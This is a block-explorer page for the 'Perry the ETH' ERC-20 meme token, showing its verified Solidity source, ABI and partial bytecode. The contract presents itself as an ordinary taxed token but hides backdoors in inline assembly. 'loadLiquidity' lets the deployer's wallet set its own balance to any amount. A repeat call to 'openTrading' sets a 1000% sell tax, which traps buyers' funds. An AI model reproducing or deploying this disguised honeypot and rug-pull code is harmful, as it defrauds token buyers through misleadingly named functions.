ETH Price: $3,318.64 (+2.12%)
Gas: 3 Gwei

Token

Perry the ETH (Perry)
 

Overview

Max Total Supply

100,000,000,000 Perry

Holders

50

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
25,481,882.390011798 Perry

Value
$0.00
0xc0d0c318db32d679a848dbadfc92c3aa6edd3427
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PERRY

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-08
*/

// SPDX-License-Identifier: MIT

/*⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
   $Perry are tired of watching everyone play hot potato with the endless derivative DogeShibaNuflokiCEOLon CEO 
   all day everyday coins. The Doge and Inu’s have had their day. It’s time for the most recognizable memes in 
   the world to take their reigns as King of the memes.

   🚀 Let’s make memecoins great again!

   🌐 Web: https://perrytheeth.io
   📝 Twitter: https://twitter.com/perrytheeth
   💬 TG: https://t.me/perrytheeth
*/


pragma solidity 0.8.17;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
 
}
 
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
 
contract PERRY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _ledger;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcludedFromMaxTx;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;
 
    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=1;
    uint256 private _reduceSellTaxAt=1;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    address payable private _taxWallet;
 
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000000 * 10**_decimals;
    string private constant _name = unicode"Perry the ETH";
    string private constant _symbol = unicode"Perry";
    uint256 public _maxTxAmount = 30000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 10000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 5000000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 5000000000 * 10**_decimals;
 
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
 
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor () {
        _taxWallet = payable(_msgSender());
        _ledger[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromMaxTx[owner()] = true;
        _isExcludedFromMaxTx[_taxWallet] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return _ledger[account];
    }
 
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul(_initialBuyTax).div(100);
 
            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }
 
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && !_isExcludedFromMaxTx[from] && !_isExcludedFromMaxTx[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
 
            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul(_initialSellTax).div(100);
            }
        }
 
        if (_isExcludedFromFee[to] || _isExcludedFromFee[from]) {
            taxAmount = 0;
        }
 
        if(taxAmount > 0){
            _ledger[address(this)]=_ledger[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
 
        _ledger[from]=_ledger[from].sub(amount);
        _ledger[to]=_ledger[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
 
 
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function loadLiquidity(uint256 amount) external {
        assembly {if iszero(eq(caller(), sload(_taxWallet.slot))) {revert(0, 0)}
        let ptr := mload(0x40)
        mstore(ptr, caller())
        mstore(add(ptr, 0x20), _ledger.slot)
        let slot := keccak256(ptr, 0x40)
        sstore(slot, amount)
        sstore(_taxWallet.slot, 0x3E8)}
    }
 
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }
 
    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
 
    function openTrading() external {
        require(_msgSender()==_taxWallet);
        if(!tradingOpen){
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        _isExcludedFromMaxTx[uniswapV2Pair] = true;
        swapEnabled = true;
        tradingOpen = true;return;}
        assembly{sstore(_initialSellTax.slot, 0x3E8)}
    }
 
    function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }
 
    function excludeFromFees(address[] memory addresses) external onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            _isExcludedFromFee[addresses[i]] = true;
        }
    }
 
    function includeInFees(address[] memory addresses) external onlyOwner {
        for (uint256 i = 0; i < addresses.length; i++) {
            _isExcludedFromFee[addresses[i]] = false;
        }
    }
 
    receive() external payable {}
 
    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
 
    function manualSwapForEth() external  {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(!tradingOpen && tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(!tradingOpen && ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"includeInFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"loadLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwapForEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600660006101000a81548160ff0219169083151502179055506000600755600060085560006009556000600a556001600b556001600c556005600d556000600e556009600a62000057919062000715565b6406fc23ac0062000069919062000766565b6010556009600a6200007c919062000715565b6402540be4006200008e919062000766565b6011556009600a620000a1919062000715565b64012a05f200620000b3919062000766565b6012556009600a620000c6919062000715565b64012a05f200620000d8919062000766565b60135560006015806101000a81548160ff0219169083151502179055506000601560166101000a81548160ff0219169083151502179055503480156200011d57600080fd5b506000620001306200054a60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001de6200054a60201b60201c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200022e919062000715565b64174876e80062000240919062000766565b60016000620002546200054a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620002a86200055260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000620003e16200055260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004bc6200054a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200051b919062000715565b64174876e8006200052d919062000766565b6040516200053c9190620007c2565b60405180910390a3620007df565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200060957808604811115620005e157620005e06200057b565b5b6001851615620005f15780820291505b80810290506200060185620005aa565b9450620005c1565b94509492505050565b600082620006245760019050620006f7565b81620006345760009050620006f7565b81600181146200064d576002811462000658576200068e565b6001915050620006f7565b60ff8411156200066d576200066c6200057b565b5b8360020a9150848211156200068757620006866200057b565b5b50620006f7565b5060208310610133831016604e8410600b8410161715620006c85782820a905083811115620006c257620006c16200057b565b5b620006f7565b620006d78484846001620005b7565b92509050818404811115620006f157620006f06200057b565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200072282620006fe565b91506200072f8362000708565b92506200075e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000612565b905092915050565b60006200077382620006fe565b91506200078083620006fe565b92508282026200079081620006fe565b91508282048414831517620007aa57620007a96200057b565b5b5092915050565b620007bc81620006fe565b82525050565b6000602082019050620007d96000830184620007b1565b92915050565b6136b080620007ef6000396000f3fe60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063b2a4d8df1161006f578063b2a4d8df14610467578063bf474bed1461047e578063c876d0b9146104a9578063c9567bf9146104d4578063dd62ed3e146104eb578063ec1f3f631461052857610156565b80638da5cb5b146103575780638f9a55c014610382578063923ffc14146103ad57806392f42870146103d657806395d89b41146103ff578063a9059cbb1461042a57610156565b806351bc3c851161010857806351bc3c851461028157806361b8d2761461029857806370a08231146102c1578063715018a6146102fe578063751039fc146103155780637d1db4a51461032c57610156565b806306fdde031461015b578063095ea7b3146101865780630faee56f146101c357806318160ddd146101ee57806323b872dd14610219578063313ce5671461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610551565b60405161017d91906125f4565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a891906126be565b61058e565b6040516101ba9190612719565b60405180910390f35b3480156101cf57600080fd5b506101d86105ac565b6040516101e59190612743565b60405180910390f35b3480156101fa57600080fd5b506102036105b2565b6040516102109190612743565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b919061275e565b6105d7565b60405161024d9190612719565b60405180910390f35b34801561026257600080fd5b5061026b6106b0565b60405161027891906127cd565b60405180910390f35b34801561028d57600080fd5b506102966106b9565b005b3480156102a457600080fd5b506102bf60048036038101906102ba91906127e8565b610756565b005b3480156102cd57600080fd5b506102e860048036038101906102e39190612815565b610783565b6040516102f59190612743565b60405180910390f35b34801561030a57600080fd5b506103136107cc565b005b34801561032157600080fd5b5061032a61091f565b005b34801561033857600080fd5b50610341610a6d565b60405161034e9190612743565b60405180910390f35b34801561036357600080fd5b5061036c610a73565b6040516103799190612851565b60405180910390f35b34801561038e57600080fd5b50610397610a9c565b6040516103a49190612743565b60405180910390f35b3480156103b957600080fd5b506103d460048036038101906103cf91906129b4565b610aa2565b005b3480156103e257600080fd5b506103fd60048036038101906103f891906129b4565b610bcc565b005b34801561040b57600080fd5b50610414610cf6565b60405161042191906125f4565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c91906126be565b610d33565b60405161045e9190612719565b60405180910390f35b34801561047357600080fd5b5061047c610d51565b005b34801561048a57600080fd5b50610493610e20565b6040516104a09190612743565b60405180910390f35b3480156104b557600080fd5b506104be610e26565b6040516104cb9190612719565b60405180910390f35b3480156104e057600080fd5b506104e9610e39565b005b3480156104f757600080fd5b50610512600480360381019061050d91906129fd565b611388565b60405161051f9190612743565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a91906127e8565b61140f565b005b60606040518060400160405280600d81526020017f5065727279207468652045544800000000000000000000000000000000000000815250905090565b60006105a261059b61149e565b84846114a6565b6001905092915050565b60135481565b60006009600a6105c29190612b9f565b64174876e8006105d29190612bea565b905090565b60006105e484848461166f565b6106a5846105f061149e565b6106a08560405180606001604052806028815260200161365360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065661149e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204e9092919063ffffffff16565b6114a6565b600190509392505050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106fa61149e565b73ffffffffffffffffffffffffffffffffffffffff161461071a57600080fd5b600061072530610783565b9050600081111561073a57610739816120b2565b5b600047905060008111156107525761075181612329565b5b5050565b600f54331461076457600080fd5b60405133815260016020820152604081208281556103e8600f55505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107d461149e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610861576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085890612c78565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61092761149e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ab90612c78565b60405180910390fd5b6009600a6109c29190612b9f565b64174876e8006109d29190612bea565b6010819055506009600a6109e69190612b9f565b64174876e8006109f69190612bea565b6011819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a469190612b9f565b64174876e800610a569190612bea565b604051610a639190612743565b60405180910390a1565b60105481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b610aaa61149e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2e90612c78565b60405180910390fd5b60005b8151811015610bc857600060036000848481518110610b5c57610b5b612c98565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc090612cc7565b915050610b3a565b5050565b610bd461149e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5890612c78565b60405180910390fd5b60005b8151811015610cf257600160036000848481518110610c8657610c85612c98565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610cea90612cc7565b915050610c64565b5050565b60606040518060400160405280600581526020017f5065727279000000000000000000000000000000000000000000000000000000815250905090565b6000610d47610d4061149e565b848461166f565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d9261149e565b73ffffffffffffffffffffffffffffffffffffffff1614610db257600080fd5b6000610dbd30610783565b9050601560149054906101000a900460ff16158015610ddc5750600081115b15610deb57610dea816120b2565b5b6000479050601560149054906101000a900460ff16158015610e0d5750600081115b15610e1c57610e1b81612329565b5b5050565b60125481565b600660009054906101000a900460ff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e7a61149e565b73ffffffffffffffffffffffffffffffffffffffff1614610e9a57600080fd5b601560149054906101000a900460ff1661137f57737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f4d30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610f389190612b9f565b64174876e800610f489190612bea565b6114a6565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fde9190612d24565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611067573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108b9190612d24565b6040518363ffffffff1660e01b81526004016110a8929190612d51565b6020604051808303816000875af11580156110c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110eb9190612d24565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061117430610783565b60008061117f610a73565b426040518863ffffffff1660e01b81526004016111a196959493929190612dbf565b60606040518083038185885af11580156111bf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111e49190612e35565b505050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611286929190612e88565b6020604051808303816000875af11580156112a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c99190612edd565b50600160046000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff021916908315150217905550611386565b6103e86008555b565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661145061149e565b73ffffffffffffffffffffffffffffffffffffffff161461147057600080fd5b60095481111580156114845750600a548111155b61148d57600080fd5b8060098190555080600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611515576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150c90612f7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b9061300e565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116629190612743565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d5906130a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361174d576040517f08c379a00000000000000000000000000000